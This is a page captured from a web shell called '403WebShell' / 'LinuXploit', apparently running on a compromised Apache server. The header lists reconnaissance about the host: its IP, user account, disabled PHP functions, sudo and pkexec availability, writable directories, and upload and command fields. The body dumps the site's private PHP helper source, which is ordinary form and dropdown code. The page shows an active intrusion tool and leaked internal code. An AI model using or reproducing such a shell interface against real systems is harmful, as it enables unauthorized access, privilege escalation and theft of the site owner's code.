Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/ats.isankalpa.org/app/Helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/ats.isankalpa.org/app/Helpers/common_option_helper.php
<?php

//use App\UserModel;

function makeOption($mix_value = array(),$s_id = '')
{
	$s_option = '';
	if($mix_value)
	{
		foreach ($mix_value as $key=>$txt)
		{
			$s_select = '';
			if(encrypt($key) == $s_id)
				$s_select = " selected ";
			$s_option     .="<option $s_select value='".encrypt_data($key)."'>$txt</option>";
		}
	}
	unset($mix_value, $s_select);
	return $s_option;
}

/**
* For selectbox option making
* @param array $mix_value
* @param int $s_id
* @return string 
*/
function makeOptionNoEncrypt($mix_value = array(),$s_id = '')
{
    $s_option = '';
    if($mix_value)
    {
        foreach ($mix_value as $key=>$txt)
        {
            $s_select = '';
            if($key == $s_id)
                $s_select = " selected ";
            $s_option     .="<option $s_select value='".$key."'>$txt</option>";
        }
    }
    unset($mix_value, $s_select);
    return $s_option;    
}

 
if ( ! function_exists('form_dropdown'))
{
    /**
     * Drop-down Menu
     *
     * @param   mixed   $data
     * @param   mixed   $options
     * @param   mixed   $selected
     * @param   mixed   $extra
     * @return  string
     */
    function form_dropdown($data = '', $options = array(), $selected = array(), $extra = '')
    {
        $defaults = array();

        if (is_array($data))
        {
            if (isset($data['selected']))
            {
                $selected = $data['selected'];
                unset($data['selected']); // select tags don't have a selected attribute
            }

            if (isset($data['options']))
            {
                $options = $data['options'];
                unset($data['options']); // select tags don't use an options attribute
            }
        }
        else
        {
            $defaults = array('name' => $data);
        }

        is_array($selected) OR $selected = array($selected);
        is_array($options) OR $options = array($options);

        // If no selected state was submitted we will attempt to set it automatically
        if (empty($selected))
        {
            if (is_array($data))
            {
                if (isset($data['name'], $_POST[$data['name']]))
                {
                    $selected = array($_POST[$data['name']]);
                }
            }
            elseif (isset($_POST[$data]))
            {
                $selected = array($_POST[$data]);
            }
        }

        $extra = _attributes_to_string($extra);

        $multiple = (count($selected) > 1 && stripos($extra, 'multiple') === FALSE) ? ' multiple="multiple"' : '';

        $form = '<select '.rtrim(_parse_form_attributes($data, $defaults)).$extra.$multiple.">\n";

        foreach ($options as $key => $val)
        {
            $key = (string) $key;

            if (is_array($val))
            {
                if (empty($val))
                {
                    continue;
                }

                $form .= '<optgroup label="'.$key."\">\n";

                foreach ($val as $optgroup_key => $optgroup_val)
                {
                    $sel = in_array($optgroup_key, $selected) ? ' selected="selected"' : '';
                    $form .= '<option value="'.html_escape($optgroup_key).'"'.$sel.'>'
                        .(string) $optgroup_val."</option>\n";
                }

                $form .= "</optgroup>\n";
            }
            else
            {
                $form .= '<option value="'.encrypt_data(html_escape($key)).'"'
                    .(in_array($key, $selected) ? ' selected="selected"' : '').'>'
                    .(string) $val."</option>\n";
            }
        }

        return $form."</select>\n";
    }
}


if ( ! function_exists('form_multiselect'))
{
    /**
     * Multi-select menu
     *
     * @param   string
     * @param   array
     * @param   mixed
     * @param   mixed
     * @return  string
     */
    function form_multiselect( $name = '', $options = array(), $selected = array(), $extra = '' )
    {
        $extra = _attributes_to_string($extra);
        if ( stripos($extra, 'multiple') === FALSE )
        {
            $extra .= ' multiple="multiple"';
        }

        return form_dropdown($name, $options, $selected, $extra);
    }
}


if ( ! function_exists('_attributes_to_string'))
{
    /**
     * Attributes To String
     *
     * Helper function used by some of the form helpers
     *
     * @param   mixed
     * @return  string
     */
    function _attributes_to_string($attributes)
    {
        if (empty($attributes))
        {
            return '';
        }

        if (is_object($attributes))
        {
            $attributes = (array) $attributes;
        }

        if (is_array($attributes))
        {
            $atts = '';

            foreach ($attributes as $key => $val)
            {
                $atts .= ' '.$key.'="'.$val.'"';
            }

            return $atts;
        }

        if (is_string($attributes))
        {
            return ' '.$attributes;
        }

        return FALSE;
    }
}


if ( ! function_exists('_parse_form_attributes'))
{
    /**
     * Parse the form attributes
     *
     * Helper function used by some of the form helpers
     *
     * @param   array   $attributes List of attributes
     * @param   array   $default    Default values
     * @return  string
     */
    function _parse_form_attributes($attributes, $default)
    {
        if (is_array($attributes))
        {
            foreach ($default as $key => $val)
            {
                if (isset($attributes[$key]))
                {
                    $default[$key] = $attributes[$key];
                    unset($attributes[$key]);
                }
            }

            if (count($attributes) > 0)
            {
                $default = array_merge($default, $attributes);
            }
        }

        $att = '';

        foreach ($default as $key => $val)
        {
            if ($key === 'value')
            {
                $val = html_escape($val);
            }
            elseif ($key === 'name' && ! strlen($default['name']))
            {
                continue;
            }

            $att .= $key.'="'.$val.'" ';
        }

        return $att;
    }
}

if ( ! function_exists('html_escape'))
{
    /**
     * Returns HTML escaped variable.
     *
     * @param   mixed   $var        The input string or array of strings to be escaped.
     * @param   bool    $double_encode  $double_encode set to FALSE prevents escaping twice.
     * @return  mixed           The escaped string or array of strings as a result.
     */
    function html_escape($var, $double_encode = TRUE)
    {
        if (empty($var))
        {
            return $var;
        }

        if (is_array($var))
        {
            foreach (array_keys($var) as $key)
            {
                $var[$key] = html_escape($var[$key], $double_encode);
            }

            return $var;
        }

        return htmlspecialchars($var, ENT_QUOTES, 'UTF-8', $double_encode);
    }
}


 /*
  *@info: generate add resource link
  *@return: html
  */
  function get_add_btn($url, $name='Add'){
    if( has_route_permission($url) ):
    $anhor_html = "<a class='btn btn-info' href='$url'>
      <i class='fa fa-plus'></i>$name</a>";
      return $anhor_html;
    else:
      return "";
    endif;
  }
  /*
  *@info: generate submit btn
  *@return: html
  */
  function get_submit_btn(){

    /*$anhor_html = "<button class='btn btn-primary' name ='submit' type='submit' id='btn_frm_submit' value='Save'>
                    <i class='fa fa-floppy-o'></i>Save</button>";*/

     $anhor_html = "<button type='submit' name ='submit' id='btn_frm_submit' class='button button-la float-left'>
                      <i class='fas fa-check'></i> Submit
                    </button>";
      return $anhor_html;
  }

  /*
  *@info: generate cancel btn
  *@return: html
  */
  function get_cancel_btn($url){

   /* $anhor_html = "<a href='$url' class='btn btn-default-outline cancel-btn'>
                    <i class='fa fa-fw fa-times'></i>Cancel
                  </a>";*/
    $anhor_html = "<a href='$url' class='button button-la button-gray float-left'>
                    <i class='fas fa-times'></i> Cancel
                  </a>";
      return $anhor_html;
  }

  if(!function_exists('api_response')){
	function api_response($status='Success', $data=array(), $msg="", $errors=''){
		$result = array();

		$result['status'] = $status;
		$result['msg'] = $msg;

		if($status=="Error"){
			$result['errors'] = $errors;
		}else{
			$result['data'] = $data;
		}

		return json_encode($result);
	}
}

  
  

Youez - 2016 - github.com/yon3zu
LinuXploit